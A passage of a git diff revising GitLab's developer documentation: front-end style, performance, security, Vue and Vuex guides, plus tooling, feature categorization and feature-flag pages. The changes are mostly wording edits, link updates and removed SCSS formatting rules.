run immediately upon page load, (e.g. +For any code that does not need to be run immediately upon page load, (for example, modals, dropdowns, and other behaviors that can be lazy-loaded), you can split your module into asynchronous chunks with dynamic import statements. These -imports return a Promise which will be resolved once the script has loaded: +imports return a Promise which is resolved after the script has loaded: ```javascript import(/* webpackChunkName: 'emoji' */ '~/emoji') @@ -184,7 +378,7 @@ import(/* webpackChunkName: 'emoji' */ '~/emoji') ``` Please try to use `webpackChunkName` when generating these dynamic imports as -it will provide a deterministic filename for the chunk which can then be cached +it provides a deterministic filename for the chunk which can then be cached the browser across GitLab versions. More information is available in [webpack's code splitting documentation](https://webpack.js.org/guides/code-splitting/#dynamic-imports). @@ -198,7 +392,7 @@ data is used for users with capped data plans. General tips: - Don't add new fonts. -- Prefer font formats with better compression, e.g. WOFF2 is better than WOFF, which is better than TTF. +- Prefer font formats with better compression, for example, WOFF2 is better than WOFF, which is better than TTF. - Compress and minify assets wherever possible (For CSS/JS, Sprockets and webpack do this for us). - If some functionality can reasonably be achieved without adding extra libraries, avoid them. - Use page-specific JavaScript as described above to load libraries that are only needed on certain pages. diff --git a/doc/development/fe_guide/principles.md b/doc/development/fe_guide/principles.md index 75954a5f988..4952d023d90 100644 --- a/doc/development/fe_guide/principles.md +++ b/doc/development/fe_guide/principles.md @@ -1,12 +1,12 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Principles -These principles will ensure that your frontend contribution starts off in the right direction. +These principles ensure that your frontend contribution starts off in the right direction. ## Discuss architecture before implementation @@ -14,7 +14,7 @@ Discuss your architecture design in an issue before writing code. This helps dec ## Be consistent -There are multiple ways of writing code to accomplish the same results. We should be as consistent as possible in how we write code across our codebases. This will make it easier for us to maintain our code across GitLab. +There are multiple ways of writing code to accomplish the same results. We should be as consistent as possible in how we write code across our codebases. This makes it easier for us to maintain our code across GitLab. ## Improve code [iteratively](https://about.gitlab.com/handbook/values/#iteration) diff --git a/doc/development/fe_guide/security.md b/doc/development/fe_guide/security.md index a82c315032f..627c5f4d12f 100644 --- a/doc/development/fe_guide/security.md +++ b/doc/development/fe_guide/security.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Security @@ -31,7 +31,7 @@ GitLab's CSP is used for the following: Some exceptions include: -- Scripts from Google Analytics and Piwik if either is enabled. +- Scripts from Google Analytics and Matomo if either is enabled. - Connecting with GitHub, Bitbucket, GitLab.com, etc. to allow project importing. - Connecting with Google, Twitter, GitHub, etc. to allow OAuth authentication. @@ -66,14 +66,14 @@ Some resources on implementing Subresource Integrity: ## Including external resources External fonts, CSS, and JavaScript should never be used with the exception of -Google Analytics and Piwik - and only when the instance has enabled it. Assets +Google Analytics and Matomo - and only when the instance has enabled it. Assets should always be hosted and served locally from the GitLab instance. Embedded resources via `iframes` should never be used except in certain circumstances such as with reCAPTCHA, which cannot be used without an `iframe`. ## Avoiding inline scripts and styles -In order to protect users from [XSS vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting), we will disable +In order to protect users from [XSS vulnerabilities](https://en.wikipedia.org/wiki/Cross-site_scripting), we intend to disable inline scripts in the future using Content Security Policy. While inline scripts can be useful, they're also a security concern. If diff --git a/doc/development/fe_guide/style/html.md b/doc/development/fe_guide/style/html.md index 61a724cf3c7..7fedbc6ce0d 100644 --- a/doc/development/fe_guide/style/html.md +++ b/doc/development/fe_guide/style/html.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # HTML style guide diff --git a/doc/development/fe_guide/style/index.md b/doc/development/fe_guide/style/index.md index 0d73b16b5d3..89a3d874184 100644 --- a/doc/development/fe_guide/style/index.md +++ b/doc/development/fe_guide/style/index.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # GitLab development style guides diff --git a/doc/development/fe_guide/style/javascript.md b/doc/development/fe_guide/style/javascript.md index b8e7429eb2c..8e3538e891d 100644 --- a/doc/development/fe_guide/style/javascript.md +++ b/doc/development/fe_guide/style/javascript.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/development/fe_guide/style_guide_js.html' --- @@ -13,13 +13,13 @@ linter to manage most of our JavaScript style guidelines. In addition to the style guidelines set by Airbnb, we also have a few specific rules listed below. -TIP: **Tip:** +NOTE: You can run eslint locally by running `yarn eslint` ## Avoid forEach Avoid forEach when mutating data. Use `map`, `reduce` or `filter` instead of `forEach` -when mutating data. This will minimize mutations in functions, +when mutating data. This minimizes mutations in functions, which aligns with [Airbnb's style guide](https://github.com/airbnb/javascript#testing--for-real). ```javascript @@ -237,7 +237,7 @@ document.addEventListener("DOMContentLoaded", function(event) { ### Avoid side effects in constructors Avoid making asynchronous calls, API requests or DOM manipulations in the `constructor`. -Move them into separate functions instead. This will make tests easier to write and +Move them into separate functions instead. This makes tests easier to write and avoids violating the [Single Responsibility Principle](https://en.wikipedia.org/wiki/Single_responsibility_principle). ```javascript diff --git a/doc/development/fe_guide/style/scss.md b/doc/development/fe_guide/style/scss.md index c6ee1e64a80..a4cae12c4f3 100644 --- a/doc/development/fe_guide/style/scss.md +++ b/doc/development/fe_guide/style/scss.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/development/fe_guide/style_guide_scss.html' --- @@ -12,7 +12,7 @@ easy to maintain, and performant for the end-user. ## Rules -Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you will definitely run into exceptions, where following the guide is difficult to impossible without outsized effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases. +Our CSS is a mixture of current and legacy approaches. That means sometimes it may be difficult to follow this guide to the letter; it means you are likely to run into exceptions, where following the guide is difficult to impossible without outsized effort. In those cases, you may work with your reviewers and maintainers to identify an approach that does not fit these rules. Please endeavor to limit these cases. ### Utility Classes @@ -26,7 +26,7 @@ Classes in [`utilities.scss`](https://gitlab.com/gitlab-org/gitlab/blob/master/a Avoid [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/). -NOTE: **Note:** +NOTE: While migrating [Bootstrap's Utility Classes](https://getbootstrap.com/docs/4.3/utilities/) to the [GitLab UI](https://gitlab.com/gitlab-org/gitlab-ui/-/blob/master/doc/css.md#utilities) utility classes, note both the classes for margin and padding differ. The size scale used at @@ -79,10 +79,8 @@ CSS classes should use the `lowercase-hyphenated` format rather than ``` Class names should be used instead of tag name selectors. -Using tag name selectors are discouraged in CSS because -they can affect unintended elements in the hierarchy. -Also, since they are not meaningful names, they do not -add meaning to the code. +Using tag name selectors is discouraged because they can affect +unintended elements in the hierarchy. ```scss // Bad @@ -94,136 +92,23 @@ ul { .class-name { color: #fff; } -``` - -### Formatting - -You should always use a space before a brace, braces should be on the same -line, each property should each get its own line, and there should be a space -between the property and its value. - -```scss -// Bad -.container-item { - width: 100px; height: 100px; - margin-top: 0; -} - -// Bad -.container-item -{ - width: 100px; - height: 100px; - margin-top: 0; -} - -// Bad -.container-item{ - width:100px; - height:100px; - margin-top:0; -} - -// Good -.container-item { - width: 100px; - height: 100px; - margin-top: 0; -} -``` - -Note that there is an exception for single-line rulesets, although these are -not typically recommended. - -```scss -p { margin: 0; padding: 0; } -``` - -### Colors - -HEX (hexadecimal) colors should use shorthand where possible, and should use -lower case letters to differentiate between letters and numbers, e.g. `#E3E3E3` -vs. `#e3e3e3`. - -```scss -// Bad -p { - color: #ffffff; -} - -// Bad -p { - color: #FFFFFF; -} - -// Good -p { - color: #fff; -} -``` - -### Indentation - -Indentation should always use two spaces for each indentation level. - -```scss -// Bad, four spaces -p { - color: #f00; -} - -// Good -p { - color: #f00; -} -``` - -### Semicolons - -Always include semicolons after every property. When the stylesheets are -minified, the semicolons will be removed automatically. - -```scss -// Bad -.container-item { - width: 100px; - height: 100px -} - -// Good -.container-item { - width: 100px; - height: 100px; -} -``` -### Shorthand +// Best +// prefer an existing utility class over adding existing styles +```0 -The shorthand form should be used for properties that support it. +Class names are also preferable to IDs. Rules that use IDs +are not-reusable, as there can only be one affected element on +the page. ```scss // Bad -margin: 10px 15px 10px 15px; -padding: 10px 10px 10px 10px; - -// Good -margin: 10px 15px; -padding: 10px; -``` - -### Zero Units - -Omit length units on zero values, they're unnecessary and not including them -is slightly more performant. - -```scss -// Bad -.item-with-padding { - padding: 0px; +#my-element { + padding: 0; } // Good -.item-with-padding { +.my-element { padding: 0; } ``` @@ -234,27 +119,11 @@ Do not use any selector prefixed with `js-` for styling purposes. These selectors are intended for use only with JavaScript to allow for removal or renaming without breaking styling. -### IDs - -Don't use ID selectors in CSS. - -```scss -// Bad -#my-element { - padding: 0; -} - -// Good -.my-element { - padding: 0; -} -``` - ### Variables Before adding a new variable for a color or a size, guarantee: -- There isn't already one +- There isn't an existing one. - There isn't a similar one we can use instead. ## Linting @@ -263,8 +132,8 @@ We use [SCSS Lint](https://github.com/sds/scss-lint) to check for style guide co ruleset in `.scss-lint.yml`, which is located in the home directory of the project. -To check if any warnings will be produced by your changes, you can run `rake -scss_lint` in the GitLab directory. SCSS Lint will also run in GitLab CI/CD to +To check if any warnings are produced by your changes, run `rake +scss_lint` in the GitLab directory. SCSS Lint also runs in GitLab CI/CD to catch any warnings. If the Rake task is throwing warnings you don't understand, SCSS Lint's @@ -278,23 +147,4 @@ the SCSS style guide, you can use [CSSComb](https://github.com/csscomb/csscomb.j CSSComb globally (system-wide). Run it in the GitLab directory with `csscomb app/assets/stylesheets` to automatically fix issues with CSS/SCSS. -Note that this won't fix every problem, but it should fix a majority. - -### Ignoring issues - -If you want a line or set of lines to be ignored by the linter, you can use -`// scss-lint:disable RuleName` ([more information](https://github.com/sds/scss-lint#disabling-linters-via-source)): - -```scss -// This lint rule is disabled because it is supported only in Chrome/Safari -// scss-lint:disable PropertySpelling -body { - text-decoration-skip: ink; -} -// scss-lint:enable PropertySpelling -``` - -Make sure a comment is added on the line above the `disable` rule, otherwise the -linter will throw a warning. `DisableLinterReason` is enabled to make sure the -style guide isn't being ignored, and to communicate to others why the style -guide is ignored in this instance. +Note that this doesn't fix every problem, but it should fix a majority. diff --git a/doc/development/fe_guide/style/vue.md b/doc/development/fe_guide/style/vue.md index 6b6ca9a6c71..b85c1b1de35 100644 --- a/doc/development/fe_guide/style/vue.md +++ b/doc/development/fe_guide/style/vue.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vue.js style guide @@ -98,7 +98,7 @@ Please check this [rules](https://github.com/vuejs/eslint-plugin-vue#bulb-rules) We discourage the use of the spread operator in this specific case in order to keep our codebase explicit, discoverable, and searchable. - This applies in any place where we'll benefit from the above, such as + This applies in any place where we would benefit from the above, such as when [initializing Vuex state](../vuex.md#why-not-just-spread-the-initial-state). The pattern above also enables us to easily parse non scalar values during instantiation. @@ -667,7 +667,7 @@ The goal of this accord is to make sure we are all on the same page. 1. If you need to grab data from the DOM, you may query the DOM 1 time while bootstrapping your application to grab data attributes using `dataset`. You can do this without jQuery. 1. You may use a jQuery dependency in Vue.js following [this example from the docs](https://vuejs.org/v2/examples/select2.html). 1. If an outside jQuery Event needs to be listen to inside the Vue application, you may use jQuery event listeners. - 1. We will avoid adding new jQuery events when they are not required. Instead of adding new jQuery events take a look at [different methods to do the same task](https://vuejs.org/v2/api/#vm-emit). + 1. We avoid adding new jQuery events when they are not required. Instead of adding new jQuery events take a look at [different methods to do the same task](https://vuejs.org/v2/api/#vm-emit). 1. You may query the `window` object one time, while bootstrapping your application for application specific data (e.g. `scrollTo` is ok to access anytime). Do this access during the bootstrapping of your application. 1. You may have a temporary but immediate need to create technical debt by writing code that does not follow our standards, to be refactored later. Maintainers need to be ok with the tech debt in the first place. An issue should be created for that tech debt to evaluate it further and discuss. In the coming months you should fix that tech debt, with its priority to be determined by maintainers. 1. When creating tech debt you must write the tests for that code before hand and those tests may not be rewritten. e.g. jQuery tests rewritten to Vue tests. diff --git a/doc/development/fe_guide/style_guide_js.md b/doc/development/fe_guide/style_guide_js.md index f3fa80325ef..73a5bea189d 100644 --- a/doc/development/fe_guide/style_guide_js.md +++ b/doc/development/fe_guide/style_guide_js.md @@ -3,3 +3,6 @@ redirect_to: 'style/javascript.md' --- This document was moved to [another location](style/javascript.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/style_guide_scss.md b/doc/development/fe_guide/style_guide_scss.md index 2b4e6427a18..eaa6d33fb43 100644 --- a/doc/development/fe_guide/style_guide_scss.md +++ b/doc/development/fe_guide/style_guide_scss.md @@ -3,3 +3,6 @@ redirect_to: 'style/scss.md' --- This document was moved to [another location](style/scss.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/testing.md b/doc/development/fe_guide/testing.md index b23e37d1eef..457d15235ae 100644 --- a/doc/development/fe_guide/testing.md +++ b/doc/development/fe_guide/testing.md @@ -3,3 +3,6 @@ redirect_to: '../testing_guide/frontend_testing.md' --- This document was moved to [another location](../testing_guide/frontend_testing.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/fe_guide/tooling.md b/doc/development/fe_guide/tooling.md index 809e05ea61f..d33022b9355 100644 --- a/doc/development/fe_guide/tooling.md +++ b/doc/development/fe_guide/tooling.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Tooling @@ -14,21 +14,21 @@ We use ESLint to encapsulate and enforce frontend code standards. Our configurat This section describes yarn scripts that are available to validate and apply automatic fixes to files using ESLint. -To check all currently staged files (based on `git diff`) with ESLint, run the following script: +To check all staged files (based on `git diff`) with ESLint, run the following script: ```shell yarn eslint-staged ``` -A list of problems found will be logged to the console. +A list of problems found are logged to the console. -To apply automatic ESLint fixes to all currently staged files (based on `git diff`), run the following script: +To apply automatic ESLint fixes to all staged files (based on `git diff`), run the following script: ```shell yarn eslint-staged-fix ``` -If manual changes are required, a list of changes will be sent to the console. +If manual changes are required, a list of changes are sent to the console. To check **all** files in the repository with ESLint, run the following script: @@ -36,7 +36,7 @@ To check **all** files in the repository with ESLint, run the following script: yarn eslint ``` -A list of problems found will be logged to the console. +A list of problems found are logged to the console. To apply automatic ESLint fixes to **all** files in the repository, run the following script: @@ -44,9 +44,9 @@ To apply automatic ESLint fixes to **all** files in the repository, run the foll yarn eslint-fix ``` -If manual changes are required, a list of changes will be sent to the console. +If manual changes are required, a list of changes are sent to the console. -CAUTION: **Caution:** +WARNING: Limit use to global rule updates. Otherwise, the changes can lead to huge Merge Requests. ### Disabling ESLint in new files @@ -156,13 +156,13 @@ The source of these Yarn scripts can be found in `/scripts/frontend/prettier.js` node ./scripts/frontend/prettier.js check-all ./vendor/ ``` -This will go over all files in a specific folder check it. +This iterates over all files in a specific folder, and checks them. ```shell node ./scripts/frontend/prettier.js save-all ./vendor/ ``` -This will go over all files in a specific folder and save it. +This iterates over all files in a specific folder and saves them. ### VSCode Settings diff --git a/doc/development/fe_guide/vue.md b/doc/development/fe_guide/vue.md index 77bdadfe8da..41fbd128631 100644 --- a/doc/development/fe_guide/vue.md +++ b/doc/development/fe_guide/vue.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vue @@ -62,11 +62,11 @@ Be sure to read about [page-specific JavaScript](performance.md#page-specific-ja While mounting a Vue application, you might need to provide data from Rails to JavaScript. To do that, you can use the `data` attributes in the HTML element and query them while mounting the application. -You should only do this while initializing the application, because the mounted element will be replaced with Vue-generated DOM. +You should only do this while initializing the application, because the mounted element is replaced with a Vue-generated DOM. The advantage of providing data from the DOM to the Vue instance through `props` in the `render` function instead of querying the DOM inside the main Vue component is avoiding the need to create a fixture or an HTML element in the unit test, -which will make the tests easier. +which makes the tests easier. See the following example, also, please refer to our [Vue style guide](style/vue.md#basic-rules) for additional information on why we explicitly declare the data being passed into the Vue app; @@ -91,15 +91,15 @@ return new Vue({ }, }); }, -} +}); ``` > When adding an `id` attribute to mount a Vue application, please make sure this `id` is unique across the codebase #### Accessing the `gl` object -When we need to query the `gl` object for data that won't change during the application's life cycle, we should do it in the same place where we query the DOM. -By following this practice, we can avoid the need to mock the `gl` object, which will make tests easier. +When we need to query the `gl` object for data that doesn't change during the application's life cycle, we should do it in the same place where we query the DOM. +By following this practice, we can avoid the need to mock the `gl` object, which makes tests easier. It should be done while initializing our Vue instance, and the data should be provided as `props` to the main component: ```javascript @@ -162,12 +162,12 @@ This approach has a few benefits: ### A folder for Components -This folder holds all components that are specific of this new feature. -If you need to use or create a component that will probably be used somewhere +This folder holds all components that are specific to this new feature. +If you need to use or create a component that is likely to be used somewhere else, please refer to `vue_shared/components`. A good rule of thumb to know when you should create a component is to think if -it will be reusable elsewhere. +it could be reusable elsewhere. For example, tables are used in a quite amount of places across GitLab, a table would be a good fit for a component. On the other hand, a table cell used only @@ -192,7 +192,7 @@ Check this [page](vuex.md) for more details. In the [Vue documentation](https://vuejs.org/v2/api/#Options-Data) the Data function/object is defined as follows: -> The data object for the Vue instance. Vue will recursively convert its properties into getter/setters to make it “reactive”. The object must be plain: native objects such as browser API objects and prototype properties are ignored. A rule of thumb is that data should just be data - it is not recommended to observe objects with their own stateful behavior. +> The data object for the Vue instance. Vue recursively converts its properties into getter/setters to make it “reactive”. The object must be plain: native objects such as browser API objects and prototype properties are ignored. A rule of thumb is that data should just be data - it is not recommended to observe objects with their own stateful behavior. Based on the Vue guidance: diff --git a/doc/development/fe_guide/vue3_migration.md b/doc/development/fe_guide/vue3_migration.md index 46437f39dbe..9d2f3b27968 100644 --- a/doc/development/fe_guide/vue3_migration.md +++ b/doc/development/fe_guide/vue3_migration.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Migration to Vue 3 @@ -82,7 +82,7 @@ const FunctionalComp = (props, slots) => { } ``` -It is not recommended to replace stateful components with functional components unless you absolutely need a performance improvement right now. In Vue 3, performance gains for functional components will be negligible. +It is not recommended to replace stateful components with functional components unless you absolutely need a performance improvement right now. In Vue 3, performance gains for functional components are negligible. ## Old slots syntax with `slot` attribute diff --git a/doc/development/fe_guide/vuex.md b/doc/development/fe_guide/vuex.md index 7765ba04d40..1d83335291a 100644 --- a/doc/development/fe_guide/vuex.md +++ b/doc/development/fe_guide/vuex.md @@ -1,19 +1,19 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Vuex -When there's a clear benefit to separating state management from components (e.g. due to state complexity) we recommend using [Vuex](https://vuex.vuejs.org) over any other Flux pattern. Otherwise, feel free to manage state within the components. +When there's a clear benefit to separating state management from components (for example, due to state complexity) we recommend using [Vuex](https://vuex.vuejs.org) over any other Flux pattern. Otherwise, feel free to manage state in the components. Vuex should be strongly considered when: -- You expect multiple parts of the application to react to state changes -- There's a need to share data between multiple components -- There are complex interactions with Backend, e.g. multiple API calls -- The app involves interacting with backend via both traditional REST API and GraphQL (especially when moving the REST API over to GraphQL is a pending backend task) +- You expect multiple parts of the application to react to state changes. +- There's a need to share data between multiple components. +- There are complex interactions with Backend, for example, multiple API calls. +- The app involves interacting with backend via both traditional REST API and GraphQL (especially when moving the REST API over to GraphQL is a pending backend task). The information included in this page is explained in more detail in the official [Vuex documentation](https://vuex.vuejs.org). @@ -22,7 +22,7 @@ official [Vuex documentation](https://vuex.vuejs.org). Vuex is composed of State, Getters, Mutations, Actions, and Modules. -When a user clicks on an action, we need to `dispatch` it. This action will `commit` a mutation that will change the state. The action itself will not update the state; only a mutation should update the state. +When a user clicks on an action, we need to `dispatch` it. This action `commits` a mutation that changes the state. The action itself does not update the state; only a mutation should update the state. ## File structure @@ -92,7 +92,7 @@ An action is a payload of information to send data from our application to our s An action is usually composed by a `type` and a `payload` and they describe what happened. Unlike [mutations](#mutationsjs), actions can contain asynchronous operations - that's why we always need to handle asynchronous logic in actions. -In this file, we will write the actions that will call mutations for handling a list of users: +In this file, we write the actions that call mutations for handling a list of users: ```javascript import * as types from './mutation_types'; @@ -163,15 +163,15 @@ Instead of creating an mutation to toggle the loading state, we should: - `PUT`: `updateSomething` - `DELETE`: `deleteSomething` -As a result, we can dispatch the `fetchNamespace` action from the component and it will be responsible to commit `REQUEST_NAMESPACE`, `RECEIVE_NAMESPACE_SUCCESS` and `RECEIVE_NAMESPACE_ERROR` mutations. +As a result, we can dispatch the `fetchNamespace` action from the component and it is responsible to commit `REQUEST_NAMESPACE`, `RECEIVE_NAMESPACE_SUCCESS` and `RECEIVE_NAMESPACE_ERROR` mutations. -> Previously, we were dispatching actions from the `fetchNamespace` action instead of committing mutation, so please don't be confused if you find a different pattern in the older parts of the codebase. However, we encourage leveraging a new pattern whenever you write new Vuex stores +> Previously, we were dispatching actions from the `fetchNamespace` action instead of committing mutation, so please don't be confused if you find a different pattern in the older parts of the codebase. However, we encourage leveraging a new pattern whenever you write new Vuex stores. By following this pattern we guarantee: -1. All applications follow the same pattern, making it easier for anyone to maintain the code -1. All data in the application follows the same lifecycle pattern -1. Unit tests are easier +1. All applications follow the same pattern, making it easier for anyone to maintain the code. +1. All data in the application follows the same lifecycle pattern. +1. Unit tests are easier. #### Updating complex state @@ -215,7 +215,7 @@ While this approach works it has several dependencies: - Correct selection of `item` in the component/action. - The `item` property is already declared in the `closed` state. - A new `confidential` property would not be reactive. -- Noting that `item` is referenced by `items` +- Noting that `item` is referenced by `items`. A mutation written like this is harder to maintain and more error prone. We should rather write a mutation like this: @@ -245,7 +245,7 @@ A mutation written like this is easier to maintain. In addition, we avoid errors ### `getters.js` Sometimes we may need to get derived state based on store state, like filtering for a specific prop. -Using a getter will also cache the result based on dependencies due to [how computed props work](https://vuejs.org/v2/guide/computed.html#Computed-Caching-vs-Methods) +Using a getter also caches the result based on dependencies due to [how computed props work](https://vuejs.org/v2/guide/computed.html#Computed-Caching-vs-Methods) This can be done through the `getters`: ```javascript @@ -272,7 +272,10 @@ import { mapGetters } from 'vuex'; ### `mutation_types.js` From [vuex mutations docs](https://vuex.vuejs.org/guide/mutations.html): -> It is a commonly seen pattern to use constants for mutation types in various Flux implementations. This allows the code to take advantage of tooling like linters, and putting all constants in a single file allows your collaborators to get an at-a-glance view of what mutations are possible in the entire application. +> It is a commonly seen pattern to use constants for mutation types in various Flux implementations. +> This allows the code to take advantage of tooling like linters, and putting all constants in a +> single file allows your collaborators to get an at-a-glance view of what mutations are possible +> in the entire application. ```javascript export const ADD_USER = 'ADD_USER'; @@ -346,7 +349,7 @@ export default ({ #### Why not just ...spread the initial state? -The astute reader will see an opportunity to cut out a few lines of code from +The astute reader sees an opportunity to cut out a few lines of code from the example above: ```javascript @@ -359,17 +362,17 @@ export default initialState => ({ }); ``` -We've made the conscious decision to avoid this pattern to aid in the -discoverability and searchability of our frontend codebase. The same applies +We made the conscious decision to avoid this pattern to improve the ability to +discover and search our frontend codebase. The same applies when [providing data to a Vue app](vue.md#providing-data-from-haml-to-javascript). The reasoning for this is described in [this discussion](https://gitlab.com/gitlab-org/frontend/rfcs/-/issues/56#note_302514865): > Consider a `someStateKey` is being used in the store state. You _may_ not be > able to grep for it directly if it was provided only by `el.dataset`. Instead, -> you'd have to grep for `some_state_key`, since it could have come from a rails +> you'd have to grep for `some_state_key`, because it could have come from a Rails > template. The reverse is also true: if you're looking at a rails template, you > might wonder what uses `some_state_key`, but you'd _have_ to grep for -> `someStateKey` +> `someStateKey`. ### Communicating with the Store @@ -426,12 +429,12 @@ export default { #### Testing Vuex concerns -Refer to [vuex docs](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations. +Refer to [Vuex docs](https://vuex.vuejs.org/guide/testing.html) regarding testing Actions, Getters and Mutations. #### Testing components that need a store -Smaller components might use `store` properties to access the data. -In order to write unit tests for those components, we need to include the store and provide the correct state: +Smaller components might use `store` properties to access the data. To write unit tests for those +components, we need to include the store and provide the correct state: ```javascript //component_spec.js @@ -482,8 +485,9 @@ describe('component', () => { ### Two way data binding -When storing form data in Vuex, it is sometimes necessary to update the value stored. The store should never be mutated directly, and an action should be used instead. -In order to still use `v-model` in our code, we need to create computed properties in this form: +When storing form data in Vuex, it is sometimes necessary to update the value stored. The store +should never be mutated directly, and an action should be used instead. +To use `v-model` in our code, we need to create computed properties in this form: ```javascript export default { @@ -521,7 +525,7 @@ export default { }; ``` -Adding a few of these properties becomes cumbersome, and makes the code more repetitive with more tests to write. To simplify this there is a helper in `~/vuex_shared/bindings.js` +Adding a few of these properties becomes cumbersome, and makes the code more repetitive with more tests to write. To simplify this there is a helper in `~/vuex_shared/bindings.js`. The helper can be used like so: @@ -568,4 +572,4 @@ export default { } ``` -`mapComputed` will then generate the appropriate computed properties that get the data from the store and dispatch the correct action when updated. +`mapComputed` then generates the appropriate computed properties that get the data from the store and dispatch the correct action when updated. diff --git a/doc/development/feature_categorization/index.md b/doc/development/feature_categorization/index.md index 66ed2952250..dd69d7bcf80 100644 --- a/doc/development/feature_categorization/index.md +++ b/doc/development/feature_categorization/index.md @@ -1,7 +1,7 @@ --- stage: Enablement group: Infrastructure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Feature Categorization @@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w Each Sidekiq worker, controller action, or API endpoint must declare a `feature_category` attribute. This attribute maps each of these to a [feature -category](https://about.gitlab.com/handbook/product/product-categories/). This +category](https://about.gitlab.com/handbook/product/categories/). This is done for error budgeting, alert routing, and team attribution. The list of feature categories can be found in the file `config/feature_categories.yml`. @@ -121,6 +121,11 @@ the actions used in configuration still exist as routes. ## API endpoints +The [GraphQL API](../../api/graphql/index.md) is currently categorized +as `not_owned`. For now, no extra specification is needed. For more +information, see +[`gitlab-com/gl-infra/scalability#583`](https://gitlab.com/gitlab-com/gl-infra/scalability/-/issues/583/). + Grape API endpoints can use the `feature_category` class method, like [Rails controllers](#rails-controllers) do: diff --git a/doc/development/feature_flags.md b/doc/development/feature_flags.md index cff88388ba0..7456e8df8d9 100644 --- a/doc/development/feature_flags.md +++ b/doc/development/feature_flags.md @@ -3,3 +3,6 @@ redirect_to: 'feature_flags/index.md' --- This document was moved to [another location](feature_flags/index.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/feature_flags/controls.md b/doc/development/feature_flags/controls.md index df737912c00..7551199aa58 100644 --- a/doc/development/feature_flags/controls.md +++ b/doc/development/feature_flags/controls.md @@ -34,7 +34,7 @@ _before_ the code is being deployed. This allows you to separate rolling out a feature from a deploy, making it easier to measure the impact of both separately. -GitLab's feature library (using +The GitLab feature library (using [Flipper](https://github.com/jnunemaker/flipper), and covered in the [Feature Flags process](process.md) guide) 